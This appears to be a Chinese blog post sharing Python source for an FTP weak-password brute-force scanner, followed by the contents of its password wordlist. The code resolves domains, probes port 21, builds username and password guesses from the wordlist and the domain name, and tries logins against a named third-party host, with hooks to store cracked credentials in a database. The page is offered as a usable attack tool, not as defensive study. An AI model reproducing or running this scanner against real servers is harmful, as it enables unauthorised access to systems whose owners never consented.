python编写的FTP弱口令扫描器 python FTP暴力破解部分代码,python暴力破解,#!/usr/local


#!/usr/local/bin/python#-*- coding: UTF-8 -*-#####################################################################qq:316118740#BLOG:http://hi.baidu.com/alalmn# python FTP暴力破解部分代码#  刚学写的不好请大家见谅####################################################################def open_txt():  #打开TXT文本写入数组    try:        xxx = file('admin.txt', 'r')        for xxx_line in xxx.readlines():            passlist.append(xxx_line)        xxx.close()    except:        return 0def list_del():  #清空list列表    try:        i = 0 #得到list的第一个元素        while i < len(passlist):            del passlist[i]            del list_passwed[i]    except:        return 0#def list_open():  #读取list列表#    i = 0 #得到list的第一个元素#    while i < len(list_passwed):#        print "a[",i,"]",list_passwed[i]#        i = i + 1###########################################################################def str_index(data1,data2):  #查找字符    try:        data1.index(data2)        return 0    except:        return 1def www_cj(sStr1):  #域名拆解    sStr2 = "."    passlist.append(sStr1)    d1 = sStr1[0:sStr1.find(sStr2)]    #print d1    passlist.append(d1)    sStr1 = sStr1[sStr1.find(sStr2)+1:]    #print sStr1    passlist.append(sStr1)    if str_index(sStr1,sStr2):        return 0        #print "1111111111没有"    else:        #print "2222222222有了"        d2 = sStr1[0:sStr1.find(sStr2)]        #print d2        passlist.append(d2)        sStr1 = sStr1[sStr1.find(sStr2)+1:]        #print sStr1        passlist.append(sStr1)        if str_index(sStr1,sStr2):            return 0            #print "222222没有"        else:            #print "2222222222有了"            d3 = sStr1[0:sStr1.find(sStr2)]            #print d3            passlist.append(d3)            sStr1 = sStr1[sStr1.find(sStr2)+1:]            #print sStr1            passlist.append(sStr1)            if str_index(sStr1,sStr2):                return 0                #print "33333没有"            else:                #print "2222222222有了"                d4 = sStr1[0:sStr1.find(sStr2)]                #print d4                passlist.append(d4)                sStr1 = sStr1[sStr1.find(sStr2)+1:]                #print sStr1                passlist.append(sStr1)                if str_index(sStr1,sStr2):                    return 0                    #print "44444没有"                else:                    #print "2222222222有了"                    d5 = sStr1[0:sStr1.find(sStr2)]                    #print d5                    passlist.append(d5)                    sStr1 = sStr1[sStr1.find(sStr2)+1:]                    #print sStr1                    passlist.append(sStr1)                    if str_index(sStr1,sStr2):                        return 0                        #print "55555没有"############################################################################打开FTPfrom ftplib import FTP#def ftp_open(host='',user='',passwd=''):  #打开FTP#    try:#        ftp=FTP()#        #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息#        ftp.connect(host,'21') #连接#        data=ftp.login(user,passwd) #登录,如果匿名登录则用空串代替即可#        #print ftp.getwelcome()  #欢迎词#        #print data#        print "fffffffffffffffffffffffffffffffffff"#        time.sleep(10)  #延时#        ftp.quit() #退出ftp服务器#        return 1#    except:#        return 0def ftp_open(host,user,passwd):  #打开FTP    try:        ftp = FTP(host)        ftp.login(user,passwd)        ftp.quit()        return 1    except:        return 0###########################################################################import timedef link_ftp(www):  #TXT导入数组    组合密码    遍历连接FTP    #passlist = list(set(passlist))   #python 列表去重    for i in passlist:        if i not in list_passwed:            list_passwed.append(i)######################################   遍历数组组合出 密码    I1 = 0 #得到list的第一个元素    while I1 < len(list_passwed):        #print "第几组密码:",I1        if I1==len(list_passwed):            break  #退出循环        I2 = 0 #得到list的第一个元素        while I2 < len(list_passwed):            print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2]#            if ftp_open(www,list_passwed[I1],list_passwed[I2]):  #打开FTP#                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP成功"#                sql = "insert into ftp(IP,user,password) values('%s','%s','%s')"%(www,list_passwed[I1],list_passwed[I2])#                print sql#                mysql.mysql_insert(sql) #添加到数据库#                #time.sleep(1)  #延时#                #sql_sel() #SQL查询#            else:#                print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP失败"            I2 = I2 + 1  #二层        I1 = I1 + 1   #一层    sql_sel() #SQL查询###########################################################################import socket#获取域名的IP地址def www_ip(name):  #域名转IP    try:        result = socket.getaddrinfo(name, None)        return result[0][4][0]    except:        return 0def ip_port(ip):  #查看IP端口是否开放    port=21    s=socket.socket()    #address="127.0.0.1"    try:        s.connect((ip,port))        #print 'IP:',ip,"port:",port,"以开放"        return 1    except socket.error,e:        #print 'IP:',ip,"port:",port,"未开放"        return 0###########################################################################def www_port(www):  #www转换IP在查看端口    IP=www_ip(www)    if IP:        print www,u"ip地址:",IP        if ip_port(IP):            #print IP,"开放21端口"            www_cj(www)  #域名拆解            open_txt()   #TXT导入数组            sql_up(www,"send") #SQL修改数据            link_ftp(www)  #组合密码    遍历连接FTP        else:            sql_up(www,"---") #SQL修改数据            print IP,u"未开21放端口"            #sql_sel() #SQL查询    else:        sql_up(www,"===") #SQL修改数据        print www,u"域名转IP失败"        sql_sel() #SQL查询###########################################################################import mysql #数据库操作文件def sql_up(url,data): #SQL修改数据    try:            up = "update  url1 set  ftpsend='%s' where url='%s'"%(data,url)            if mysql.mysql_update(up):  #修改数据                print url,u"修改数据库成功"            else:                print url,u"修改数据库失败"            mysql.mysql_S()  #保存数据    except:        return 0def sql_sel(): #SQL查询    try:        list_del()  #清空list列表        sql="select * from url1 where ftpsend is NULL limit 1"        mysql.cursor.execute(sql)        mysql.cursor.scroll(0)        for row in mysql.cursor.fetchall():            www_port(row[0])  #www转换IP在查看端口            #sql_cx(row[0])            #print '%s-%s'%(row[0],row[1])            #print row[0]            #print row[1]            #print row[2]        #mysql.mysql_close()  #关闭数据库    except:        print u"读取URL异常!!!!!"###########################################################################if __name__=='__main__':    mysql.mysql_open()  #连接数据库    global  passlist  #声明全局变量    passlist = []    #用户名:anonymous 密码为空    global  list_passwed  #列表去重,不打乱原来的顺序    list_passwed=[]#    sql_sel() #SQL查询    www= "ftp.hificat.com"    www_port(www)  #www转换IP在查看端口
                                admin.txt文件内容
AdminadminAdministratoradministratoradminadminadmin888admin666admin999adminqqqadmin555admin444admin333admin222admin111admin123UseruserPasswordPowerGuestguesttestwwwwebsadatadada123data123www123  web123asdasdasd123qwe123123qweqwertyzxcvbnabc123123abcasd123zxc123qwe123admin888admin6661121231234123451234561234567123456781234567891234567890111222333444555666777888999000888888789654321112233111222111222333521521123321123123woainikissmefuckyoutesttesttest123test123456

评论关闭